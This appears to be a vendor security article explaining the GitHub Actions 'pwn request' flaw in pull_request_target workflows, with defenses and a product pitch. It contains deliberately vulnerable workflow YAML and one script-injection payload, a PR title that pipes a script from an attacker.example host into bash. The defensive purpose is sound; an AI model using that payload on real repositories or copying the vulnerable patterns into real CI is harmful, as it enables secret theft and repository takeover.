Securing the agentic AI software supply chain
← Academy
Defense Jul 13, 2026 · 8 min

Pwn request: how pull_request_target turns a fork PR into a privileged attack

GitHub Actions runs pull_request workflows from forks with read-only tokens and no secrets. pull_request_target flips both defaults: full write token, full secret access. When a workflow triggered by pull_request_target checks out and runs the fork code, an attacker controls what executes in a privileged context. This is the pwn request vulnerability class, and GitHub just shipped platform-level defenses against it.

When someone opens a pull request from a fork, their code is untrusted. GitHub Actions handles this by running fork PRs in a restricted context: the GITHUB_TOKEN is read-only, secrets are withheld, and fork approval policies gate compute access. This is the pull_request event, and these restrictions exist for good reason.

pull_request_target removes all three. It runs in the context of the base repository with a read/write token, full secret access, and no approval gate. It was designed for safe operations on the base branch, like labeling a PR or posting a comment. The problem starts when a workflow triggered by pull_request_target checks out the fork’s code and runs it. The fork author now controls what executes in a privileged environment.

This vulnerability class is called a pwn request. The term was coined by GitHub Security Lab, and the pattern has been found in repositories belonging to major organizations including Microsoft.

How the two events differ

The distinction between pull_request and pull_request_target is the execution context.

Propertypull_requestpull_request_target
Workflow sourcePR head (fork)Base branch
Checked-out code (default)PR head (fork)Base branch
GITHUB_TOKENRead-onlyRead/write
Repository secretsWithheldAvailable
Fork approval requiredYes (configurable)No

pull_request_target reads the workflow YAML from the base branch, not the fork. This means an attacker cannot modify the workflow file itself. But the workflow can still check out the fork’s code explicitly, and that is where the vulnerability lives.

pull_request pull_request_target + checkout Fork opens PR Runs fork code (restricted) Read-only GITHUB_TOKEN No secrets, fork approval gate Fork opens PR Checks out fork code (elevated) Read/write GITHUB_TOKEN Full secret access, no gate Attacker code runs privileged Aephix
pull_request isolates fork code with restricted permissions. pull_request_target grants full privileges, and checking out the fork's code hands control to the attacker.

The dangerous checkout

The most common pwn request pattern is a pull_request_target workflow that explicitly checks out the PR head:

on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

This workflow reads its YAML from the base branch (safe), but checks out the fork’s code (unsafe) and then runs it (npm install, npm test). The fork author controls what npm install executes. Postinstall scripts, build scripts, test files, anything in the checked-out tree runs with the workflow’s read/write GITHUB_TOKEN and access to every secret configured in the repository.

Even when a workflow does not explicitly reference secrets, the vulnerability still exists. The read/write GITHUB_TOKEN remains in memory and on disk. When actions/checkout runs with its default persist-credentials: true, the token is written to .git/config. Any program running in the workflow can read it.

An attacker exploiting this can push code to the repository, create releases, modify branch protections, or exfiltrate every secret the workflow has access to. Praetorian researcher Adnan Khan demonstrated this by finding pwn request vulnerabilities in multiple Microsoft repositories, including microsoft/confidential-sidecar-containers and microsoft/gpt-review, where exploitation could exfiltrate Azure credentials and a GITHUB_TOKEN with write access to Azure Container Registry.

Script injection

Checking out fork code is not the only pwn request vector. Attacker-controlled values from the GitHub event context can be injected directly into run: blocks without any checkout at all.

GitHub context expressions like github.event.pull_request.title, github.event.pull_request.body, and github.event.pull_request.head.ref are controlled by the PR author. When these are interpolated into a run: block, the attacker can inject arbitrary shell commands:

on: pull_request_target

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "PR title: ${{ github.event.pull_request.title }}"

A PR title of "; curl https://attacker.example/steal.sh | bash; echo " breaks out of the echo statement and executes arbitrary code. This runs in the pull_request_target context with full privileges.

The fix is to pass untrusted values through environment variables instead of inline expressions:

      - run: |
          echo "PR title: $PR_TITLE"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}

Environment variables are not interpreted by the shell as code. The value is treated as a string regardless of its content.

Artifact poisoning

The two-workflow defense (covered below) introduces its own attack surface if artifacts are not handled carefully. A pull_request workflow builds and uploads an artifact. A workflow_run workflow downloads and uses it with elevated permissions.

If the privileged workflow_run workflow downloads the artifact and executes it (runs a script, sources a file, applies a patch), the attacker controls what runs in the privileged context through the artifact. The artifact becomes the bridge between the unprivileged and privileged environments.

Artifacts from untrusted workflows should be treated as data. Read values from them, validate them, but never execute them directly.

Defenses

Use pull_request when you can

GitHub’s guidance is direct: if your workflow does not need secret access, use pull_request. It provides the three restrictions that pull_request_target removes. Most CI workflows (build, lint, test) do not need secrets and work correctly under pull_request.

The two-workflow approach

When a workflow genuinely needs secrets (posting a coverage comment, deploying a preview, publishing test results), split it into two workflows:

Workflow 1: unprivileged build (triggered by pull_request)

on: pull_request

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test
      - uses: actions/upload-artifact@v4
        with:
          name: results
          path: coverage/

Workflow 2: privileged publish (triggered by workflow_run)

on:
  workflow_run:
    workflows: ["Build"]
    types: [completed]

jobs:
  publish:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          run-id: ${{ github.event.workflow_run.id }}
          name: results
      - run: |
          # read coverage data, post comment
          # never execute downloaded files

The fork’s code runs only in the first workflow, which has no secrets and a read-only token. The second workflow has secrets but never touches fork code. The artifact is data, not executable.

actions/checkout v7

On June 18, 2026, GitHub released actions/checkout v7 with built-in pwn request protection. In pull_request_target and workflow_run contexts, v7 refuses to check out fork PR code by default. It fails when the ref or repository input resolves to:

  • A fork PR’s head SHA (ref: ${{ github.event.pull_request.head.sha }})
  • A PR merge ref (refs/pull/<number>/merge)
  • A fork repository (repository: ${{ github.event.pull_request.head.repo.full_name }})

If a workflow genuinely needs fork code in a privileged context, it must set allow-unsafe-pr-checkout: true explicitly. The flag name is intentionally chosen to be visible in code review and easy to detect with static analysis tools.

Starting July 16, 2026, this enforcement will be backported to all supported major versions of actions/checkout. Workflows using floating tags like @v4 will auto-update to include the new restrictions. This means existing workflows that currently have dangerous checkout patterns will start failing without any changes to the workflow file.

Inspect, never execute

If a pull_request_target workflow must check out PR head code (for example, to run a diff or read a config file), GitHub’s guidance is that the checked-out code must only ever be inspected as data and never executed. No npm install, no pip install ., no make, no sourcing of shell scripts from the checked-out tree.

Environment protection rules

GitHub Environments with required reviewers add a manual approval gate before a job can access environment secrets. A pull_request_target workflow can require a maintainer to approve before the job with secrets runs. This adds a human checkpoint, but it relies on the reviewer understanding the risk.

Static analysis

Several tools detect pwn request patterns in workflow files:

  • zizmor: an open-source GitHub Actions static analysis tool that flags dangerous pull_request_target + checkout combinations
  • CodeQL: GitHub provides queries for detecting insecure GitHub Actions patterns, including script injection and dangerous checkouts
  • GitHub’s native warnings: the Actions security documentation now includes specific guidance on securing pull_request_target workflows

What to do now

Audit every pull_request_target workflow. Search your organization’s repositories for on: pull_request_target. For each match, check whether the workflow checks out fork code or interpolates event context values into run: blocks. Both are dangerous.

Switch to pull_request where possible. If the workflow does not need secrets, it does not need pull_request_target. Change the trigger and the security restrictions apply automatically.

Split privileged workflows. Where secrets are genuinely needed, use the two-workflow approach. Build and test under pull_request. Publish and comment under workflow_run. Keep the artifact boundary clean: data in, never executable.

Upgrade to actions/checkout v7. The new default blocks the most common pwn request patterns. If your workflow needs the old behavior, the required allow-unsafe-pr-checkout: true flag makes the risk explicit and auditable. Prepare for the July 16, 2026 backport to older major versions.

Use environment variables for event context. Never interpolate github.event.pull_request.title, .body, .head.ref, or any other attacker-controlled value directly into a run: block. Pass them through env: instead.

Set minimal GITHUB_TOKEN permissions. Even in pull_request_target workflows, restrict the token:

permissions:
  contents: read
  pull-requests: write

If a pwn request does succeed, the blast radius is limited to what the token can do.

Where Aephix fits

A pwn request gives an attacker code execution in your CI pipeline with your secrets. What they do next depends on what those secrets unlock: registry tokens, cloud credentials, signing keys. If the attacker publishes a package or model using exfiltrated credentials, the compromised artifact enters the supply chain under a trusted name.

Aephix Sleuth links a flagged artifact to the wider operation behind it, with a confidence level and supporting evidence, across packages, models, skills, MCP servers, extensions, and containers. When a CI compromise results in a malicious publication, knowing what was published is the start. Who published it, and what else they have shipped, is what lets you block the next one. Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a package pushed through a compromised pipeline is something you can recognize before it reaches your lockfile.